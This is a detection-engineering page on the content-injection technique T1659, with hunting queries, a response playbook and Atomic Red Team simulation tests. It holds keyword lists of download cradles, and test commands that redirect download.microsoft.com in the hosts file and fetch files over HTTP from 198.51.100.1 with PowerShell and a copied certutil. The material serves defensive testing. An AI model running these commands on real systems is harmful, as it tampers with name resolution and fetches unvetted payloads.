Content Injection
This detection identifies adversary content injection attacks where malicious payloads are delivered by manipulating in-transit network traffic between victims and legitimate online services. Rather than hosting payloads on attacker-controlled websites, adversaries operating at a compromised network position—such as a compromised ISP or routing infrastructure—intercept and modify DNS, HTTP, or SMB responses before they reach the victim. The detection focuses on three behavioral indicators: suspicious interpreter or downloader processes spawned by web browsers or Windows Update components following unencrypted HTTP connections to known update domains; HTTP connections to Microsoft update infrastructure over plaintext port 80 (which should exclusively use HTTPS/443); and DNS resolutions of trusted domains returning IP addresses outside expected authoritative ranges. Known threat activity consistent with this technique includes MoustachedBouncer injecting fake Windows Update pages to deploy malware against diplomatic targets in Belarus, and the Disco implant achieving initial access through injected DNS, HTTP, and SMB replies that redirected victims to attacker-controlled download servers.
What is T1659 Content Injection?
Content Injection (T1659) maps to the Initial Access and Command and Control tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Content Injection, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Technique
- T1659 Content Injection
- Canonical reference
- https://attack.mitre.org/techniques/T1659/
let LookbackTime = 1d;
let UpdateDomains = dynamic(["windowsupdate.com", "update.microsoft.com", "download.microsoft.com", "delivery.mp.microsoft.com"]);
let SuspiciousChildren = dynamic(["wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "certutil.exe", "bitsadmin.exe", "msiexec.exe", "powershell.exe", "cmd.exe"]);
let InjectionParents = dynamic(["svchost.exe", "wuauclt.exe", "usoclient.exe", "chrome.exe", "firefox.exe", "msedge.exe", "iexplore.exe"]);
let HttpUpdateConnections = DeviceNetworkEvents
| where TimeGenerated > ago(LookbackTime)
| where RemotePort == 80
| where RemoteUrl has_any (UpdateDomains)
| project DeviceId, DeviceName, NetworkTime = TimeGenerated, RemoteIP, RemoteUrl;
let SuspiciousSpawns = DeviceProcessEvents
| where TimeGenerated > ago(LookbackTime)
| where InitiatingProcessFileName in~ (InjectionParents)
| where FileName in~ (SuspiciousChildren)
| where ProcessCommandLine has_any ("http://", "invoke-webrequest", "wget", "curl", "-enc ", "download", "bitsadmin")
or FolderPath has "temp" or FolderPath has "downloads"
| project DeviceId, DeviceName, ProcessTime = TimeGenerated, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, SHA256;
HttpUpdateConnections
| join kind=inner SuspiciousSpawns on DeviceId
| where abs(datetime_diff('second', NetworkTime, ProcessTime)) <= 300
| project NetworkTime, ProcessTime, DeviceName, AccountName, RemoteIP, RemoteUrl, SuspiciousProcess = FileName, SuspiciousProcessPath = FolderPath, ProcessCommandLine, ParentProcess = InitiatingProcessFileName, ParentCommandLine = InitiatingProcessCommandLine, SHA256, TimeDeltaSec = abs(datetime_diff('second', NetworkTime, ProcessTime))
| order by NetworkTime desc Correlates unencrypted HTTP connections to Microsoft update domains with suspicious child process spawning from browser or Windows Update service parents within a 5-minute window on the same device. The time-based join on DeviceId identifies cases where injected content was delivered over HTTP and immediately resulted in interpreter or downloader process execution — the expected post-injection behavior observed in MoustachedBouncer and Disco campaigns where victims received fake Windows Update payloads over manipulated HTTP responses.
Data Sources
Required Tables
False Positives
- Legacy enterprise systems still configured to use HTTP for Windows Update (pre-WSUS TLS migration) may generate benign HTTP connections to update domains matched by the network filter
- Corporate WSUS or SCCM proxy servers that use HTTP internally to redistribute updates will cause svchost.exe to connect to update domains over port 80 as a legitimate workflow
- IT automation tools (SCCM client actions, Intune management extensions, Ansible) that legitimately spawn PowerShell or cmd.exe via svchost.exe as part of managed patch workflows
- Developers testing HTTP client libraries or update utilities who manually trigger download cradles from a browser session within the 5-minute correlation window
Sigma rule & cross-platform mapping
The detection logic for Content Injection (T1659) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1659
References (5)
- https://attack.mitre.org/techniques/T1659/
- https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/
- https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/
- https://attack.mitre.org/software/S1088/
- https://attack.mitre.org/groups/G1019/
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate DNS Injection via Hosts File Redirect of Update Domain
Expected signal: Sysmon Event ID 22 (DNS Query) showing download.microsoft.com with QueryResults containing 198.51.100.1; Sysmon Event ID 1 for nslookup.exe process creation with command line including 'download.microsoft.com'
- Test 2Simulated Injected Payload Execution from Browser-Spawned Process
Expected signal: Sysmon Event ID 1 for cmd.exe spawning powershell.exe with Invoke-WebRequest and http:// URI in CommandLine; Sysmon Event ID 3 showing powershell.exe attempting TCP connection to 198.51.100.1:80; working directory will be user profile or temp path
- Test 3LOLBin Certutil Download Cradle from Temp Path
Expected signal: Sysmon Event ID 1 for certutil_test.exe (copied certutil) executing from %TEMP% path with -urlcache and http:// URL in CommandLine; Sysmon Event ID 3 for HTTP connection attempt from temp path binary to 198.51.100.1:80; Sysmon Event ID 11 for file copy creating certutil_test.exe in temp
Response Playbook
Triage
- Identify the full parent-child process chain: in your EDR console, pull the complete process tree for the alert device and timestamp — confirm the exact parent (svchost.exe, wuauclt.exe, or browser) and child (PowerShell, cmd.exe) with their full command lines and working directories
- Identify the injection source IP: query DeviceNetworkEvents for the affected device in the 10-minute window before the alert, filtering for RemotePort==80 and RemoteUrl matching update domains — the specific IP that served the HTTP response is the candidate injection point
- Validate whether the source IP is authoritative for the domain: run a WHOIS or BGP lookup on the RemoteIP against known Microsoft ASNs (AS8068, AS8069, AS8075) — an IP outside these ranges for windowsupdate.com or download.microsoft.com is a strong indicator of DNS or BGP-level injection
- Examine the process command line for payload indicators: look for Base64-encoded strings (-enc/-encodedcommand), UNC paths (starting with \\), HTTP/FTP URLs, certutil -urlcache patterns, or bitsadmin /transfer commands that suggest the injected content is retrieving a secondary stage
- Check DNS resolution history: query DeviceNetworkEvents for Sysmon Event ID 22 (DNS Query) on the same host for the relevant domain — compare the QueryResults field against the expected Microsoft IP ranges to confirm whether DNS injection preceded the HTTP delivery
- Assess lateral scope: query across all devices for the same RemoteIP and RemoteUrl combination — if multiple hosts connected to the same non-authoritative IP for an update domain, this indicates infrastructure-level compromise (ISP, BGP hijack) rather than a single-host issue
Containment
- Immediately isolate the affected endpoint via your EDR's network isolation capability to prevent further C2 communication or lateral movement from any successfully executed injected payload
- Block the identified injection source IP at the perimeter firewall and web proxy for all traffic, not just update traffic — adversaries with this level of access may inject into other domains as well
- Flush the DNS cache on all devices in the same network segment (ipconfig /flushdns on Windows; systemd-resolve --flush-caches on Linux) and temporarily configure DNS to use an external resolver (1.1.1.1, 8.8.8.8) bypassing the potentially compromised internal resolver
- Enforce HTTPS-only policy for update domains at the proxy layer — create a proxy rule that blocks or redirects any HTTP (port 80) connections to windowsupdate.com, update.microsoft.com, and download.microsoft.com to prevent continued injection delivery to unaffected hosts
- If DNS injection is confirmed across multiple hosts: engage network and ISP teams immediately — this indicates infrastructure compromise at or above the organization's network boundary that requires out-of-band coordination
Evidence Collection
- Export full Sysmon Event ID 1 (Process Create) logs for the affected device covering 60 minutes before and after the alert, preserving the complete parent-child process chain with hashes, command lines, and working directories
- Capture a memory dump of any suspicious child processes still running (PowerShell, cmd.exe, mshta.exe) using your EDR's live response or Sysinternals ProcDump before termination — injected payload logic may only exist in memory
- Export Sysmon Event ID 3 (Network Connection) and Event ID 22 (DNS Query) logs for the affected host for a 2-hour window around the incident to preserve the network-level evidence of the injection delivery
- Collect all files written to %TEMP%, %APPDATA%\Local\Temp, and %USERPROFILE%\Downloads during the alert window — these directories are the most common drop locations for injected payloads, and binaries there should be submitted for malware analysis
- Capture the Windows DNS client cache before flushing (ipconfig /displaydns > dns_cache_evidence.txt) to preserve a record of poisoned DNS entries showing the injected IP resolution
- Obtain packet captures from the network perimeter or any available network TAP/SPAN covering the time of the incident — the manipulated HTTP response body containing the injected payload will be visible in the PCAP and is critical for confirming injection occurred
- Collect prefetch files for any new executables that ran after the injection event (C:\Windows\Prefetch\) using live response or forensic imaging — these confirm execution even if the binary was subsequently deleted by the payload
Escalation Criteria
- ! Escalate to incident response team immediately if more than 3 hosts on the same network segment show identical injection patterns — this indicates network-level compromise (ISP, upstream router, DNS resolver) requiring out-of-band response coordination beyond the endpoint team's scope
- ! Escalate if the injected payload established persistence mechanisms (new scheduled task, registry Run/RunOnce key modification, new service, or WMI subscription) following the suspicious child process execution
- ! Escalate if C2 beaconing is detected after the injection event — regular outbound connections to non-Microsoft IPs on unusual ports from previously clean hosts confirm the injected payload executed successfully
- ! Escalate if the affected host is a high-value target (domain controller, PKI server, build/CI system, executive workstation) regardless of other escalation criteria — the blast radius of a successful injection against these systems is disproportionately high
- ! Escalate to threat intelligence and executive leadership if the injection pattern matches known APT infrastructure associated with MoustachedBouncer, FinFisher, or other nation-state actors known to conduct ISP-level content injection against specific organizations or regions
Investigation Guide
Forensic Artifacts
- >
Windows DNS Client cache (ipconfig /displaydns output) — poisoned entries will show legitimate update domain names resolving to non-Microsoft IP addresses, confirming DNS injection upstream - >
Browser network request logs and HTTP cache — Chrome (AppData\Local\Google\Chrome\User Data\Default\Cache), Firefox (AppData\Roaming\Mozilla\Firefox\Profiles\*.default\cache2), Edge — may contain the injected HTTP response body with the malicious payload - >
Prefetch files for executables spawned after the injection event (C:\Windows\Prefetch\) — confirm execution and first-run timestamp even if the injected binary was subsequently deleted - >
Files in %TEMP%, %APPDATA%\Local\Temp, and %USERPROFILE%\Downloads with creation timestamps matching the alert window — the injected payload drop locations - >
Windows Security Event ID 4688 or Sysmon Event ID 1 logs — process creation records for the injected payload and any secondary stages it spawned, preserving the full command-line arguments - >
Network packet captures (PCAP) from perimeter or host — the manipulated HTTP, DNS, or SMB response containing the injected content will be directly visible as a modified response body or unexpected redirect - >
Windows hosts file (C:\Windows\System32\drivers\etc\hosts) — may have been modified as a persistence mechanism or as part of a secondary DNS injection step post-compromise - >
Sysmon Event ID 22 (DNS Query) logs — show domain queries and the resolved IPs returned, allowing direct comparison against Microsoft's published authoritative IP ranges to confirm injection occurred
Tuning Guidance
The primary source of false positives is enterprise patch management infrastructure using HTTP internally (WSUS, SCCM, Intune) and software deployment tools that legitimately spawn PowerShell or cmd.exe from svchost.exe. Tune by: (1) building an allowlist of approved internal WSUS and SCCM server IP addresses and excluding them from the RemoteIP filter in the KQL correlation query; (2) adding exceptions for specific known-good command-line patterns used by your deployment tooling, such as specific SCCM client binary paths or Intune management extension signatures; (3) scoping the detection to device groups not currently under active patch management windows using a device group or tag filter. For the DNS-based hunting query, obtain and allowlist the complete set of current Microsoft update IP ranges from Microsoft's published JSON feed and filter against it. If your organization has completed full HTTPS enforcement for update traffic, elevate the severity of any HTTP port 80 connections to update domains to critical since there should be zero legitimate matches.
Hunting Queries
Proactively hunts for all unencrypted HTTP connections to Microsoft update domains, which should exclusively use HTTPS in any properly configured environment. Identifies the pre-condition for content injection — an adversary stripping TLS to enable HTTP response manipulation. Includes a Microsoft IP range check to prioritize connections to non-authoritative IPs.
// Hunt: Find all plaintext HTTP connections to Microsoft update infrastructure
// Baseline: legitimate enterprise update traffic should exclusively use HTTPS on port 443
// Any results warrant investigation as a potential content injection pre-condition
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort == 80
| where RemoteUrl has_any ("windowsupdate.com", "update.microsoft.com", "download.microsoft.com", "delivery.mp.microsoft.com", "wns.windows.com", "settings-win.data.microsoft.com")
| summarize ConnectionCount = count(), UniqueRemoteIPs = dcount(RemoteIP), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), AffectedDevices = make_set(DeviceName, 20) by RemoteUrl, RemoteIP
| extend IsKnownMicrosoftRange = RemoteIP startswith "13.107" or RemoteIP startswith "23.212" or RemoteIP startswith "96.17" or RemoteIP startswith "20.112" or RemoteIP startswith "20.200"
| order by IsKnownMicrosoftRange asc, ConnectionCount desc index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 DestinationPort=80
| where match(lower(DestinationHostname), "windowsupdate\.com|update\.microsoft\.com|download\.microsoft\.com|delivery\.mp\.microsoft\.com")
| stats count as ConnectionCount, dc(DestinationIp) as UniqueIPs, values(host) as AffectedHosts, earliest(_time) as FirstSeen, latest(_time) as LastSeen by DestinationHostname, DestinationIp
| eval SuspicionScore=if(NOT match(DestinationIp, "^13\.107\.|^23\.212\.|^96\.17\.|^20\.112\."), 100, 20)
| sort -SuspicionScore, -ConnectionCount Hunts for living-off-the-land binaries (certutil, bitsadmin, msiexec, expand) executing with download or decode arguments from non-System32 locations — a pattern consistent with injected payloads copying and using LOLbins from temp paths to retrieve secondary stages while evading path-based allowlists.
// Hunt: Living-off-the-land binary (LOLBin) download cradles from non-standard paths
// Distinct from main detection: focuses on LOLBin abuse patterns and working directory anomalies
// rather than parent process chain or network correlation
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("certutil.exe", "bitsadmin.exe", "msiexec.exe", "expand.exe")
| where ProcessCommandLine has_any ("http://", "ftp://", "urlcache", "/transfer", "-decode", "/i ", "/package")
| where not(FolderPath has "System32") and not(FolderPath has "SysWOW64")
| project TimeGenerated, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| order by TimeGenerated desc index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval process=lower(Image)
| eval cmdline=lower(CommandLine)
| where match(process, "certutil\.exe|bitsadmin\.exe|msiexec\.exe|expand\.exe")
| where match(cmdline, "http://|ftp://|urlcache|/transfer|-decode|/package")
| where NOT match(process, "(?i)windows.system32|windows.syswow64")
| table _time, host, User, process, cmdline, CurrentDirectory, ParentImage, Hashes
| sort -_time Hunts for executable or installer files dropped to user-writable temp/downloads paths and executed within 2 minutes of creation — the artifact-centric indicator of successful content injection delivery, distinct from the process-parent or network correlation approaches in the main detection.
// Hunt: Executable files created in user-writable paths then executed within 2 minutes
// Distinct from main detection: traces the file artifact lifecycle, not the process parent chain
// Identifies freshly dropped binaries executed immediately after content injection delivery
let NewExecutables = DeviceFileEvents
| where TimeGenerated > ago(7d)
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".msi" or FileName endswith ".dll"
| where FolderPath has "temp" or FolderPath has "downloads" or FolderPath has "appdata"
| project DeviceId, DeviceName, FileDropTime = TimeGenerated, DroppedFileName = FileName, DroppedFilePath = FolderPath, DropperProcess = InitiatingProcessFileName, FileSHA256 = SHA256;
let Executions = DeviceProcessEvents
| where TimeGenerated > ago(7d)
| project DeviceId, ExecTime = TimeGenerated, ExecFileName = FileName, ExecSHA256 = SHA256;
NewExecutables
| join kind=inner Executions on DeviceId, $left.DroppedFileName == $right.ExecFileName
| where abs(datetime_diff('second', FileDropTime, ExecTime)) between (0 .. 120)
| project FileDropTime, ExecTime, DeviceName, DroppedFileName, DroppedFilePath, DropperProcess, FileSHA256, TimeDeltaSec = abs(datetime_diff('second', FileDropTime, ExecTime))
| order by FileDropTime desc index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=11 OR EventCode=1)
| eval event_type=case(EventCode=11, "file_created", EventCode=1, "process_exec", true(), "other")
| eval artifact_path=lower(coalesce(TargetFilename, Image, ""))
| where like(artifact_path, "%.exe") OR like(artifact_path, "%.msi")
| where like(artifact_path, "%temp%") OR like(artifact_path, "%downloads%") OR like(artifact_path, "%appdata%")
| bin _time span=2m
| stats values(event_type) as observed_events, values(artifact_path) as file_paths, dc(EventCode) as distinct_event_types, count as total_events by host, _time
| where distinct_event_types >= 2
| table _time, host, observed_events, file_paths, total_events
| sort -_time Atomic Red Team Tests
Modifies the Windows hosts file to redirect a Microsoft update domain to a documentation-range IP (RFC 5737: 198.51.100.1), then performs a DNS query to generate the anomalous resolution telemetry detectable by Sysmon Event ID 22. Simulates the observable effect of upstream DNS reply injection without requiring actual network interception infrastructure.
Command
echo 198.51.100.1 download.microsoft.com >> C:\Windows\System32\drivers\etc\hosts && nslookup download.microsoft.com && ipconfig /displaydns | findstr /i "download.microsoft.com" Cleanup
powershell -Command "$hosts = Get-Content C:\Windows\System32\drivers\etc\hosts; $filtered = $hosts | Where-Object { $_ -notmatch '198\.51\.100\.1.*download\.microsoft\.com' }; $filtered | Set-Content C:\Windows\System32\drivers\etc\hosts"; ipconfig /flushdns Expected Telemetry
Sysmon Event ID 22 (DNS Query) showing download.microsoft.com with QueryResults containing 198.51.100.1; Sysmon Event ID 1 for nslookup.exe process creation with command line including 'download.microsoft.com'
Expected Detection
DNS hunting query should surface download.microsoft.com resolving to 198.51.100.1 (outside Microsoft ASN ranges); IsKnownMicrosoftRange field will evaluate to false, generating high SuspicionScore
Launches PowerShell as a child process from cmd.exe that attempts an HTTP GET request to a documentation-range IP (RFC 5737) mimicking a fake Windows Update endpoint — replicating the process chain and network behavior expected when browser-delivered injected content executes a download cradle after being received via a manipulated HTTP response.
Command
cmd.exe /c powershell.exe -Command "Write-Host '[AtomicTest] ContentInjection T1659 simulation'; try { Invoke-WebRequest -Uri 'http://198.51.100.1/WindowsUpdate_KB5040442.exe' -OutFile $env:TEMP\wu_injected_test.exe -TimeoutSec 3 } catch { Write-Host '[AtomicTest] HTTP connection failed as expected - telemetry generated' }" Cleanup
if exist %TEMP%\wu_injected_test.exe del /f %TEMP%\wu_injected_test.exe Expected Telemetry
Sysmon Event ID 1 for cmd.exe spawning powershell.exe with Invoke-WebRequest and http:// URI in CommandLine; Sysmon Event ID 3 showing powershell.exe attempting TCP connection to 198.51.100.1:80; working directory will be user profile or temp path
Expected Detection
Main SPL detection should trigger on powershell.exe as child of cmd.exe with http:// in CommandLine at risk_score 85; main KQL correlation will match if preceded by an HTTP update domain connection within 5 minutes on the same device
Copies certutil.exe to %TEMP% and executes it with a -urlcache download argument targeting a documentation-range IP — simulating the behavior of injected content that copies and executes living-off-the-land binaries from user-writable paths to retrieve secondary stages while evading path-based detection allowlists.
Command
copy C:\Windows\System32\certutil.exe %TEMP%\certutil_test.exe && %TEMP%\certutil_test.exe -urlcache -f http://198.51.100.1/update_package.cab %TEMP%\injection_test_artifact.cab Cleanup
del /f %TEMP%\certutil_test.exe %TEMP%\injection_test_artifact.cab 2>nul & echo Cleanup complete Expected Telemetry
Sysmon Event ID 1 for certutil_test.exe (copied certutil) executing from %TEMP% path with -urlcache and http:// URL in CommandLine; Sysmon Event ID 3 for HTTP connection attempt from temp path binary to 198.51.100.1:80; Sysmon Event ID 11 for file copy creating certutil_test.exe in temp
Expected Detection
LOLBin hunting query (Hunt 2) should fire on certutil.exe-equivalent process with urlcache parameter running from non-System32 path; main SPL detection should match bitsadmin/certutil pattern with http:// in command line